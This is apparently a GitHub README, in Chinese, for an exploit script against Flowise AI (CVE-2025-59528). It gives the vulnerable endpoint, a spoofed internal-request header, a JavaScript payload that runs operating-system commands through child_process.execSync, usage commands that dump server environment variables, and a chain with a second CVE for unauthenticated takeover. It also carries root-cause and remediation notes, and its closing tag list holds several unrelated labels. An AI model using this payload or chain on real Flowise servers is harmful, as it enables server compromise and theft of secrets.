r3nsi15/Flowise-RCE-CVE-2025-59528
GitHub: r3nsi15/Flowise-RCE-CVE-2025-59528
描述 CVE-2025-59528 漏洞利用脚本,实现对 Flowise AI 的认证远程代码执行与命令执行验证。
Stars: 0 | Forks: 0
# CVE-2025-59528 — Flowise AI 认证远程代码执行(RCE)
## 概述
**CVE ID:** CVE-2025-59528
**受影响软件:** Flowise AI
**受影响版本:** <= 3.0.4
**修复版本:** 3.0.5 及更高版本
**严重程度:** 危急
**作者:** r3nsi15
**日期:** 2025
## 描述
Flowise AI 3.0.4 及更早版本允许经过身份验证的用户通过向 `/api/v1/node-load-method/customMCP` 端点发送精心制作的 JavaScript 载荷,在主机服务器上实现 **远程代码执行(RCE)**。
`customMCP` 节点的加载方法会接受用户控制的输入,并在服务器端作为 JavaScript 进行评估,且缺乏充分的清理或沙箱保护。通过注入利用 Node.js 的 `child_process.execSync` 的载荷,攻击者可以以 Flowise 服务器进程的权限运行任意操作系统命令。
该端点还要求存在 `x-request-from: internal` 标头。
## 受影响端点
| 端点 | 方法 | 需要认证 | 用途 |
|---|---|---|---|
| `/api/v1/auth/login` | POST | 否 | 身份验证并获取会话 |
| `/api/v1/node-load-method/customMCP` | POST | 是(会话 Cookie) | 易受攻击的节点加载方法端点 |
## 概念验证
**文件:** `CVE-2025-59528_POC.py`
### 要求
- Python 3.x
- `requests` 库
- 目标 Flowise 实例上任意用户账户的有效凭据
```
pip install requests
```
### 用法
```
python3 CVE-2025-59528_POC.py -e -i -p -c
```
### 参数
| 标志 | 长形式 | 必需 | 描述 |
|---|---|---|---|
| `-e` | `--email` | 是 | 已认证用户的电子邮件地址 |
| `-i` | `--url` | 是 | Flowise 实例的基础 URL |
| `-p` | `--password` | 是 | 已认证用户的密码 |
| `-c` | `--cmd` | 是 | 在服务器上执行的 OS 命令 |
### 示例
**验证代码执行:**
```
python3 CVE-2025-59528_POC.py -e user@example.com -i https://flowise.example.com -p MyP@ss -c "id"
```
**获取服务器环境变量:**
```
python3 CVE-2025-59528_POC.py -e user@example.com -i https://flowise.example.com -p MyP@ss -c "env"
```
### 预期输出
```
[+] Logged in
[+] Exploit sent
[+] Status: 200
```
## 载荷分析
该漏洞利用将以下 JavaScript 表达式注入到 `mcpServerConfig` 字段中:
```
({x:(function(){
const cp = process.mainModule.require('child_process');
cp.execSync('');
return 1;
})()})
```
- `process.mainModule.require('child_process')` — 加载 Node.js 内置的进程执行模块。
- `execSync('')` — 同步执行攻击者提供的操作系统命令。
- 整个表达式被包裹在对象字面量中,以确保其在服务器的 JavaScript 上下文中正确求值。
同时还会附加 `x-request-from: internal` 标头,以通过原本会阻止该调用的内部来源检查。
## 根本原因
`customMCP` 端点将用户提供的输入直接传递到服务器端的 JavaScript 执行上下文中,且未进行清理或沙箱化。结合通过 `process.mainModule.require` 对 Node.js 核心模块(特别是 `child_process`)的无限制访问,这便形成了一个极易被利用的 RCE 向量。而 `x-request-from` 标头的检查并未提供任何有意义的安全边界,因为它未经验证。
## 与 CVE-2025-58434 联动
这两个漏洞可以**联动**实现对 Flowise 实例(版本 **<= 3.0.4**)的无认证 RCE 攻击路径:
1. 使用 **CVE-2025-58434** 重置任意已知账户的密码(无需事先认证)。
2. 使用新设置的凭据登录。
3. 使用 **CVE-2025-59528** 在服务器上执行任意操作系统命令。
## 修复建议
- **升级**至 Flowise AI **3.0.5 或更高版本**,该版本已移除或正确沙箱化了易受攻击的计算路径。
- 不要在服务器端将用户控制的字符串作为代码求值。
- 通过适当的沙箱(例如 `vm2`、隔离上下文或移除 `process.mainModule` 访问)限制对危险 Node.js 模块(`child_process`、`fs` 等)的访问。
- 通过服务器端机制验证并认证 `x-request-from` 标头,而不是简单的字符串检查。
- 对 Flowise 服务器进程应用最小权限原则。
## 免责声明
本概念验证仅用于 **教育和授权的安全研究目的**。在未获得明确书面许可的情况下,将本脚本用于系统属于非法且不道德的行为。作者及贡献者不对滥用行为承担任何责任。
标签:API安全, Authenticated RCE, Burp Suite 替代, child_process, CISA项目, CVE-2025-59528, execSync, Flowise AI, GNU通用公共许可证, JavaScript注入, JSON输出, MITM代理, Node.js, PoC, RCE, Web安全, 代码执行, 修复建议, 内部接口, 命令执行, 攻击面, 暴力破解, 服务器端命令执行, 服务端注入, 未授权访问, 漏洞, 编程工具, 蓝队分析, 认证绕过, 请求头伪造, 远程代码执行, 逆向工具